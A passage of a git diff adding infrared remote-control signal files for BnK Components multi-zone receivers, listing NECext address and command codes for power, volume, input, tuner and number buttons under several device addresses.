parsed +protocol: NECext +address: E7 81 00 00 +command: 09 00 00 00 +# +name: BK025_INPUT_7 +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 0B 00 00 00 +# +name: BK025_INPUT_4 +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 0D 00 00 00 +# +name: BK025_TUNER_1 +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 0E 00 00 00 +# +name: BK025_INPUT_5 +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 0F 00 00 00 +# +name: BK025_STATION- +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 17 00 00 00 +# +name: BK025_STATION+ +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 18 00 00 00 +# +name: BK025_TUNE- +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 1B 00 00 00 +# +name: BK025_TUNE+ +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 1C 00 00 00 +# +name: BK025_LEFT +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 1F 00 00 00 +# +name: BK025_RIGHT +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 20 00 00 00 +# +name: BK025_VOLUME- +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 23 00 00 00 +# +name: BK025_VOLUME+ +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 24 00 00 00 +# +name: BK025_NUMBER_+10 +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 29 00 00 00 +# +name: BK025_EQ +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 2A 00 00 00 +# +name: BK025_DOWN +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 2D 00 00 00 +# +name: BK025_UP +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 2E 00 00 00 +# +name: BK025_ENTER +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 30 00 00 00 +# +name: BK025_NUMBER_1 +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 31 00 00 00 +# +name: BK025_NUMBER_2 +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 32 00 00 00 +# +name: BK025_NUMBER_3 +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 33 00 00 00 +# +name: BK025_NUMBER_4 +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 35 00 00 00 +# +name: BK025_NUMBER_5 +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 36 00 00 00 +# +name: BK025_NUMBER_6 +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 37 00 00 00 +# +name: BK025_NUMBER_7 +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 39 00 00 00 +# +name: BK025_NUMBER_8 +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 3A 00 00 00 +# +name: BK025_NUMBER_9 +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 3B 00 00 00 +# +name: BK025_NUMBER_0 +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 3E 00 00 00 +# +name: BK025_SAVE +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 40 00 00 00 +# +name: BK025_TUNER_3 +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 44 00 00 00 +# +name: BK025_INPUT_6 +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 4A 00 00 00 +# +name: BK025_PRESET+ +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 4B 00 00 00 +# +name: BK025_D-IN +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 5A 00 00 00 +# +name: BK025_BASS- +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 65 00 00 00 +# +name: BK025_SOURCE+ +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 66 00 00 00 +# +name: BK025_INPUT_9 +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 6E 00 00 00 +# +name: BK025_AM +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 76 00 00 00 +# +name: BK025_TREBLE- +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 79 00 00 00 +# +name: BK025_VIDEO- +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 7A 00 00 00 +# +name: BK025_EXIT +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 7D 00 00 00 +# +name: BK025_TUNER_2 +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 84 00 00 00 +# +name: BK025_FM +type: parsed +protocol: NECext +address: E7 81 00 00 +command: 8E 00 00 00 +# +name: BK025_SOURCE- +type: parsed +protocol: NECext +address: E7 81 00 00 +command: A6 00 00 00 +# +name: BK025_SLEEP +type: parsed +protocol: NECext +address: E7 81 00 00 +command: B3 00 00 00 +# +name: BK025_PRESET- +type: parsed +protocol: NECext +address: E7 81 00 00 +command: C6 00 00 00 +# +name: BK025_LOUDNESS +type: parsed +protocol: NECext +address: E7 81 00 00 +command: CF 00 00 00 +# +name: BK025_AUTO_LEVEL +type: parsed +protocol: NECext +address: E7 81 00 00 +command: E4 00 00 00 +# +name: BK025_BASS+ +type: parsed +protocol: NECext +address: E7 81 00 00 +command: E5 00 00 00 +# +name: BK025_TREBLE+ +type: parsed +protocol: NECext +address: E7 81 00 00 +command: F9 00 00 00 +# +name: BK025_VIDEO+ +type: parsed +protocol: NECext +address: E7 81 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/242,208.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/242,208.ir new file mode 100644 index 000000000..85b9f4659 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/242,208.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: BK128_POWER_OFF +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 01 00 00 00 +# +name: BK128_POWER_ON +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 02 00 00 00 +# +name: BK128_MUTE +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 03 00 00 00 +# +name: BK128_INPUT_1 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 05 00 00 00 +# +name: BK128_INPUT_3 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 06 00 00 00 +# +name: BK128_INPUT_8 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 07 00 00 00 +# +name: BK128_INPUT_2 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 09 00 00 00 +# +name: BK128_INPUT_7 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 0B 00 00 00 +# +name: BK128_INPUT_4 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 0D 00 00 00 +# +name: BK128_TUNER_1 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 0E 00 00 00 +# +name: BK128_INPUT_5 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 0F 00 00 00 +# +name: BK128_STATION- +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 17 00 00 00 +# +name: BK128_STATION+ +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 18 00 00 00 +# +name: BK128_TUNE- +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 1B 00 00 00 +# +name: BK128_TUNE+ +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 1C 00 00 00 +# +name: BK128_LEFT +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 1F 00 00 00 +# +name: BK128_RIGHT +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 20 00 00 00 +# +name: BK128_VOLUME- +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 23 00 00 00 +# +name: BK128_VOLUME+ +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 24 00 00 00 +# +name: BK128_NUMBER_+10 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 29 00 00 00 +# +name: BK128_EQ +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 2A 00 00 00 +# +name: BK128_DOWN +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 2D 00 00 00 +# +name: BK128_UP +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 2E 00 00 00 +# +name: BK128_ENTER +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 30 00 00 00 +# +name: BK128_NUMBER_1 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 31 00 00 00 +# +name: BK128_NUMBER_2 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 32 00 00 00 +# +name: BK128_NUMBER_3 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 33 00 00 00 +# +name: BK128_NUMBER_4 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 35 00 00 00 +# +name: BK128_NUMBER_5 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 36 00 00 00 +# +name: BK128_NUMBER_6 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 37 00 00 00 +# +name: BK128_NUMBER_7 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 39 00 00 00 +# +name: BK128_NUMBER_8 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 3A 00 00 00 +# +name: BK128_NUMBER_9 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 3B 00 00 00 +# +name: BK128_NUMBER_0 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 3E 00 00 00 +# +name: BK128_SAVE +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 40 00 00 00 +# +name: BK128_TUNER_3 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 44 00 00 00 +# +name: BK128_INPUT_6 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 4A 00 00 00 +# +name: BK128_PRESET+ +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 4B 00 00 00 +# +name: BK128_D-IN +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 5A 00 00 00 +# +name: BK128_BASS- +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 65 00 00 00 +# +name: BK128_SOURCE+ +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 66 00 00 00 +# +name: BK128_INPUT_9 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 6E 00 00 00 +# +name: BK128_AM +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 76 00 00 00 +# +name: BK128_TREBLE- +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 79 00 00 00 +# +name: BK128_VIDEO- +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 7A 00 00 00 +# +name: BK128_EXIT +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 7D 00 00 00 +# +name: BK128_TUNER_2 +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 84 00 00 00 +# +name: BK128_FM +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: 8E 00 00 00 +# +name: BK128_SOURCE- +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: A6 00 00 00 +# +name: BK128_SLEEP +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: B3 00 00 00 +# +name: BK128_PRESET- +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: C6 00 00 00 +# +name: BK128_LOUDNESS +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: CF 00 00 00 +# +name: BK128_AUTO_LEVEL +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: E4 00 00 00 +# +name: BK128_BASS+ +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: E5 00 00 00 +# +name: BK128_TREBLE+ +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: F9 00 00 00 +# +name: BK128_VIDEO+ +type: parsed +protocol: NECext +address: F2 D0 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/243,192.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/243,192.ir new file mode 100644 index 000000000..e148ed0a6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/243,192.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: BK016_POWER_OFF +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 01 00 00 00 +# +name: BK016_POWER_ON +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 02 00 00 00 +# +name: BK016_MUTE +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 03 00 00 00 +# +name: BK016_INPUT_1 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 05 00 00 00 +# +name: BK016_INPUT_3 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 06 00 00 00 +# +name: BK016_INPUT_8 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 07 00 00 00 +# +name: BK016_INPUT_2 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 09 00 00 00 +# +name: BK016_INPUT_7 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 0B 00 00 00 +# +name: BK016_INPUT_4 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 0D 00 00 00 +# +name: BK016_TUNER_1 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 0E 00 00 00 +# +name: BK016_INPUT_5 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 0F 00 00 00 +# +name: BK016_STATION- +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 17 00 00 00 +# +name: BK016_STATION+ +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 18 00 00 00 +# +name: BK016_TUNE- +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 1B 00 00 00 +# +name: BK016_TUNE+ +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 1C 00 00 00 +# +name: BK016_LEFT +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 1F 00 00 00 +# +name: BK016_RIGHT +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 20 00 00 00 +# +name: BK016_VOLUME- +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 23 00 00 00 +# +name: BK016_VOLUME+ +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 24 00 00 00 +# +name: BK016_NUMBER_+10 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 29 00 00 00 +# +name: BK016_EQ +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 2A 00 00 00 +# +name: BK016_DOWN +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 2D 00 00 00 +# +name: BK016_UP +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 2E 00 00 00 +# +name: BK016_ENTER +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 30 00 00 00 +# +name: BK016_NUMBER_1 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 31 00 00 00 +# +name: BK016_NUMBER_2 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 32 00 00 00 +# +name: BK016_NUMBER_3 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 33 00 00 00 +# +name: BK016_NUMBER_4 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 35 00 00 00 +# +name: BK016_NUMBER_5 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 36 00 00 00 +# +name: BK016_NUMBER_6 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 37 00 00 00 +# +name: BK016_NUMBER_7 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 39 00 00 00 +# +name: BK016_NUMBER_8 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 3A 00 00 00 +# +name: BK016_NUMBER_9 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 3B 00 00 00 +# +name: BK016_NUMBER_0 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 3E 00 00 00 +# +name: BK016_SAVE +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 40 00 00 00 +# +name: BK016_TUNER_3 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 44 00 00 00 +# +name: BK016_INPUT_6 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 4A 00 00 00 +# +name: BK016_PRESET+ +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 4B 00 00 00 +# +name: BK016_D-IN +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 5A 00 00 00 +# +name: BK016_BASS- +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 65 00 00 00 +# +name: BK016_SOURCE+ +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 66 00 00 00 +# +name: BK016_INPUT_9 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 6E 00 00 00 +# +name: BK016_AM +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 76 00 00 00 +# +name: BK016_TREBLE- +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 79 00 00 00 +# +name: BK016_VIDEO- +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 7A 00 00 00 +# +name: BK016_EXIT +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 7D 00 00 00 +# +name: BK016_TUNER_2 +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 84 00 00 00 +# +name: BK016_FM +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: 8E 00 00 00 +# +name: BK016_SOURCE- +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: A6 00 00 00 +# +name: BK016_SLEEP +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: B3 00 00 00 +# +name: BK016_PRESET- +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: C6 00 00 00 +# +name: BK016_LOUDNESS +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: CF 00 00 00 +# +name: BK016_AUTO_LEVEL +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: E4 00 00 00 +# +name: BK016_BASS+ +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: E5 00 00 00 +# +name: BK016_TREBLE+ +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: F9 00 00 00 +# +name: BK016_VIDEO+ +type: parsed +protocol: NECext +address: F3 C0 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/247,128.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/247,128.ir new file mode 100644 index 000000000..a347dd4d8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/247,128.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: BK032_POWER_OFF +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 01 00 00 00 +# +name: BK032_POWER_ON +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 02 00 00 00 +# +name: BK032_MUTE +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 03 00 00 00 +# +name: BK032_INPUT_1 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 05 00 00 00 +# +name: BK032_INPUT_3 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 06 00 00 00 +# +name: BK032_INPUT_8 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 07 00 00 00 +# +name: BK032_INPUT_2 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 09 00 00 00 +# +name: BK032_INPUT_7 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 0B 00 00 00 +# +name: BK032_INPUT_4 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 0D 00 00 00 +# +name: BK032_TUNER_1 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 0E 00 00 00 +# +name: BK032_INPUT_5 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 0F 00 00 00 +# +name: BK032_STATION- +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 17 00 00 00 +# +name: BK032_STATION+ +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 18 00 00 00 +# +name: BK032_TUNE- +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 1B 00 00 00 +# +name: BK032_TUNE+ +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 1C 00 00 00 +# +name: BK032_LEFT +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 1F 00 00 00 +# +name: BK032_RIGHT +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 20 00 00 00 +# +name: BK032_VOLUME- +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 23 00 00 00 +# +name: BK032_VOLUME+ +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 24 00 00 00 +# +name: BK032_NUMBER_+10 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 29 00 00 00 +# +name: BK032_EQ +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 2A 00 00 00 +# +name: BK032_DOWN +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 2D 00 00 00 +# +name: BK032_UP +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 2E 00 00 00 +# +name: BK032_ENTER +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 30 00 00 00 +# +name: BK032_NUMBER_1 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 31 00 00 00 +# +name: BK032_NUMBER_2 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 32 00 00 00 +# +name: BK032_NUMBER_3 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 33 00 00 00 +# +name: BK032_NUMBER_4 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 35 00 00 00 +# +name: BK032_NUMBER_5 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 36 00 00 00 +# +name: BK032_NUMBER_6 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 37 00 00 00 +# +name: BK032_NUMBER_7 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 39 00 00 00 +# +name: BK032_NUMBER_8 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 3A 00 00 00 +# +name: BK032_NUMBER_9 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 3B 00 00 00 +# +name: BK032_NUMBER_0 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 3E 00 00 00 +# +name: BK032_SAVE +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 40 00 00 00 +# +name: BK032_TUNER_3 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 44 00 00 00 +# +name: BK032_INPUT_6 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 4A 00 00 00 +# +name: BK032_PRESET+ +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 4B 00 00 00 +# +name: BK032_D-IN +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 5A 00 00 00 +# +name: BK032_BASS- +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 65 00 00 00 +# +name: BK032_SOURCE+ +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 66 00 00 00 +# +name: BK032_INPUT_9 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 6E 00 00 00 +# +name: BK032_AM +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 76 00 00 00 +# +name: BK032_TREBLE- +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 79 00 00 00 +# +name: BK032_VIDEO- +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 7A 00 00 00 +# +name: BK032_EXIT +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 7D 00 00 00 +# +name: BK032_TUNER_2 +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 84 00 00 00 +# +name: BK032_FM +type: parsed +protocol: NECext +address: F7 80 00 00 +command: 8E 00 00 00 +# +name: BK032_SOURCE- +type: parsed +protocol: NECext +address: F7 80 00 00 +command: A6 00 00 00 +# +name: BK032_SLEEP +type: parsed +protocol: NECext +address: F7 80 00 00 +command: B3 00 00 00 +# +name: BK032_PRESET- +type: parsed +protocol: NECext +address: F7 80 00 00 +command: C6 00 00 00 +# +name: BK032_LOUDNESS +type: parsed +protocol: NECext +address: F7 80 00 00 +command: CF 00 00 00 +# +name: BK032_AUTO_LEVEL +type: parsed +protocol: NECext +address: F7 80 00 00 +command: E4 00 00 00 +# +name: BK032_BASS+ +type: parsed +protocol: NECext +address: F7 80 00 00 +command: E5 00 00 00 +# +name: BK032_TREBLE+ +type: parsed +protocol: NECext +address: F7 80 00 00 +command: F9 00 00 00 +# +name: BK032_VIDEO+ +type: parsed +protocol: NECext +address: F7 80 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/251,64.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/251,64.ir new file mode 100644 index 000000000..ed64b0596 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/251,64.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: BK000_POWER_OFF +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 01 00 00 00 +# +name: BK000_POWER_ON +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 02 00 00 00 +# +name: BK000_MUTE +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 03 00 00 00 +# +name: BK000_INPUT_1 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 05 00 00 00 +# +name: BK000_INPUT_3 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 06 00 00 00 +# +name: BK000_INPUT_8 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 07 00 00 00 +# +name: BK000_INPUT_2 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 09 00 00 00 +# +name: BK000_INPUT_7 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 0B 00 00 00 +# +name: BK000_INPUT_4 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 0D 00 00 00 +# +name: BK000_TUNER_1 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 0E 00 00 00 +# +name: BK000_INPUT_5 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 0F 00 00 00 +# +name: BK000_STATION- +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 17 00 00 00 +# +name: BK000_STATION+ +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 18 00 00 00 +# +name: BK000_TUNE- +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 1B 00 00 00 +# +name: BK000_TUNE+ +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 1C 00 00 00 +# +name: BK000_LEFT +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 1F 00 00 00 +# +name: BK000_RIGHT +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 20 00 00 00 +# +name: BK000_VOLUME- +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 23 00 00 00 +# +name: BK000_VOLUME+ +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 24 00 00 00 +# +name: BK000_NUMBER_+10 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 29 00 00 00 +# +name: BK000_EQ +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 2A 00 00 00 +# +name: BK000_DOWN +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 2D 00 00 00 +# +name: BK000_UP +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 2E 00 00 00 +# +name: BK000_ENTER +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 30 00 00 00 +# +name: BK000_NUMBER_1 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 31 00 00 00 +# +name: BK000_NUMBER_2 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 32 00 00 00 +# +name: BK000_NUMBER_3 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 33 00 00 00 +# +name: BK000_NUMBER_4 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 35 00 00 00 +# +name: BK000_NUMBER_5 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 36 00 00 00 +# +name: BK000_NUMBER_6 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 37 00 00 00 +# +name: BK000_NUMBER_7 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 39 00 00 00 +# +name: BK000_NUMBER_8 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 3A 00 00 00 +# +name: BK000_NUMBER_9 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 3B 00 00 00 +# +name: BK000_NUMBER_0 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 3E 00 00 00 +# +name: BK000_SAVE +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 40 00 00 00 +# +name: BK000_TUNER_3 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 44 00 00 00 +# +name: BK000_INPUT_6 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 4A 00 00 00 +# +name: BK000_PRESET+ +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 4B 00 00 00 +# +name: BK000_D-IN +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 5A 00 00 00 +# +name: BK000_BASS- +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 65 00 00 00 +# +name: BK000_SOURCE+ +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 66 00 00 00 +# +name: BK000_INPUT_9 +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 6E 00 00 00 +# +name: BK000_AM +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 76 00 00 00 +# +name: BK000_TREBLE- +type: parsed +protocol: NECext +address: FB 40 00 00 +command: 79 00 00 00 +# +name: BK000_VIDEO- +type: parsed +protocol: NECext +address: FB 40 00 00 